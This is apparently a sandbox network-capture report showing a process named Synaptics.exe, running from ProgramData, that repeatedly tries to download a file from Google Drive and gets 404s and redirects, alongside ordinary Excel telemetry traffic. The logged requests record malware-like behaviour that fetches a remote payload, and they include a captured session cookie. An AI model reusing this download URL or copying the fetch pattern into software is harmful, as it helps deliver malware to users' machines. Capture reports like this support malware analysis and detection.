2024-11-15 10:24:38 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:39 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:39 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-AXOcV9wyGwdCymktj_6gUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AHmUCY2fNxGDNaLGlwv-TJfxyGE-cwJpC7cWl4Fq3oUL2VGdOdkwx4vIOliYlofWiMOgEaUQWyYLSHMGrQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:39 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:39 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 34 56 54 73 35 79 6a 4c 41 4b 4a 6c 54 54 31 34 45 75 46 6a 45 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="4VTs5yjLAKJlTT14EuFjEQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:39 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49777	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:39 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:40 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:40 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-VVKpO6wgkDxMklZ8U1MFJw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49778	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:40 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49779	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:40 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49780	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:40 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49781	13.107.246.45	443	5892	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:40 UTC	219	OUT	GET /rules/excel.exe-Production-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 10:24:40 UTC	493	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 10:24:40 GMT Content-Type: text/plain Content-Length: 1112622 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 13 Nov 2024 23:49:45 GMT ETag: "0x8DD043DD9F4DFDD" x-ms-request-id: 490adc63-101e-0046-0389-3691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T102440Z-16547b76f7flf9g6hC1DFWmcx80000000ak0000000005xa1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 10:24:40 UTC	15891	IN	Data Raw: 31 30 30 30 34 32 76 32 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 34 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 55 58 2e 44 65 73 6b 74 6f 70 2e 4f 66 66 69 63 65 54 68 65 6d 65 2e 41 70 70 2e 49 6e 69 74 22 20 41 54 54 3d 22 63 34 33 38 38 63 39 37 37 32 39 37 34 31 33 62 62 30 35 34 62 61 64 31 61 63 66 30 61 64 65 31 2d 63 63 35 38 65 35 33 65 2d 66 35 61 34 2d 34 66 33 37 2d 62 30 64 32 2d 39 61 38 30 37 39 65 33 34 34 32 30 2d 36 38 37 39 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 63 6d 39 79 35 Data Ascii: 100042v2+<?xml version="1.0" encoding="utf-8"?><R Id="100042" V="2" DC="SM" EN="Office.UX.Desktop.OfficeTheme.App.Init" ATT="c4388c977297413bb054bad1acf0ade1-cc58e53e-f5a4-4f37-b0d2-9a8079e34420-6879" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="cm9y5
2024-11-15 10:24:40 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 30 31 31 37 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 31 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 38 79 6c 6c 66 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 56 20 56 3d 22 43 6c 69 63 6b 22 20 54 3d 22 57 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 Data Ascii: /> </T></R><$!#>100117v0+<?xml version="1.0" encoding="utf-8"?><R Id="100117" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="8yllf" /> </S> <C T="W" I="0" O="false"> <V V="Click" T="W" /> </C> <C T="U32
2024-11-15 10:24:41 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 37 38 31 76 31 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 37 38 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 67 6f 34 74 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 68 6c 76 79 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 49 33 32 Data Ascii: </C> <T> <S T="2" /> <S T="3" /> </T></R><$!#>10781v1+<?xml version="1.0" encoding="utf-8"?><R Id="10781" V="1" DC="SM" T="Subrule" xmlns=""> <S> <UTS T="1" Id="bgo4t" /> <UTS T="2" Id="bhlvy" /> </S> <C T="I32
2024-11-15 10:24:41 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 30 30 30 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: <L> <O T="GT"> <L> <S T="1" F="0" /> </L> <R> <V V="1000" T="U32" /> </R> </O> </L> <R> <O T="LE"> <
2024-11-15 10:24:41 UTC	16384	IN	Data Raw: 20 49 3d 22 32 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 56 69 64 65 6f 43 61 6c 6c 56 69 64 65 6f 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 36 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 33 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 53 61 53 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 34 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 4f 76 65 72 66 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 Data Ascii: I="22" O="false" N="FlyoutVideoCallVideo"> <C> <S T="26" /> </C> </C> <C T="U32" I="23" O="false" N="FlyoutSaS"> <C> <S T="27" /> </C> </C> <C T="U32" I="24" O="false" N="FlyoutOverflow"> <C> <S T
2024-11-15 10:24:41 UTC	16384	IN	Data Raw: 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 39 30 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 4e 44 42 2e 55 6e 6b 6e 6f 77 6e 2e 43 6f 72 72 75 70 74 69 6f 6e 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 53 3d 22 31 30 30 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 45 74 77 20 54 3d 22 31 22 20 45 3d 22 33 39 35 22 20 47 3d 22 7b 32 61 64 66 38 65 32 33 2d 30 61 66 39 2d Data Ascii: coding="utf-8"?><R Id="10907" V="0" DC="SM" EN="Office.Outlook.Desktop.NDB.Unknown.Corruption" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" S="100" DCa="PSU" xmlns=""> <S> <Etw T="1" E="395" G="{2adf8e23-0af9-
2024-11-15 10:24:41 UTC	16384	IN	Data Raw: 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 33 22 20 49 64 3d 22 62 70 66 79 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 34 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 50 68 6f 74 6f 53 69 7a 65 49 6e 42 79 74 65 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 55 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 Data Ascii: "TelemetryShutdown" /> <UTS T="3" Id="bpfy1" /> <F T="4"> <O T="GT"> <L> <S T="3" F="PhotoSizeInBytes" /> </L> <R> <V V="0" T="U64" /> </R> </O> </F> </S> <C T="U
2024-11-15 10:24:41 UTC	16384	IN	Data Raw: 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 65 76 65 6e 74 49 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 33 35 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 74 63 69 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <L> <S T="4" F="eventId" /> </L> <R> <V V="135" T="I32" /> </R> </O> </F> <F T="7"> <O T="EQ"> <L> <S T="5" F="tcid" /> </L> <R> <V
2024-11-15 10:24:41 UTC	16384	IN	Data Raw: 0d 0a 20 20 20 20 3c 46 20 54 3d 22 31 30 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 46 69 6c 65 50 72 6f 74 65 63 74 69 6f 6e 53 74 61 74 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 35 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 4f 66 54 68 72 6f 77 6e 45 78 63 65 70 74 69 6f 6e 22 3e 0d Data Ascii: <F T="10"> <O T="EQ"> <L> <S T="3" F="FileProtectionState" /> </L> <R> <V V="5" T="U32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="CountOfThrownException">
2024-11-15 10:24:41 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 72 65 73 75 6c 74 73 5f 49 73 4e 75 6c 6c 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 Data Ascii: <S T="5" F="results_IsNull" /> </L> <R> <V V="false" T="B" /> </R> </O> </L> <R> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49785	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:41 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:41 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:41 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-m2zkC3NgxTn4_8r2XJXq3w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AHmUCY2YPSzXo_UwscI0FbetXZetjMTwh_wBqDeFfckri-ekjuYkKerwgLE-eBw4W1JcFgPaUgmb3vb9fg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:41 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
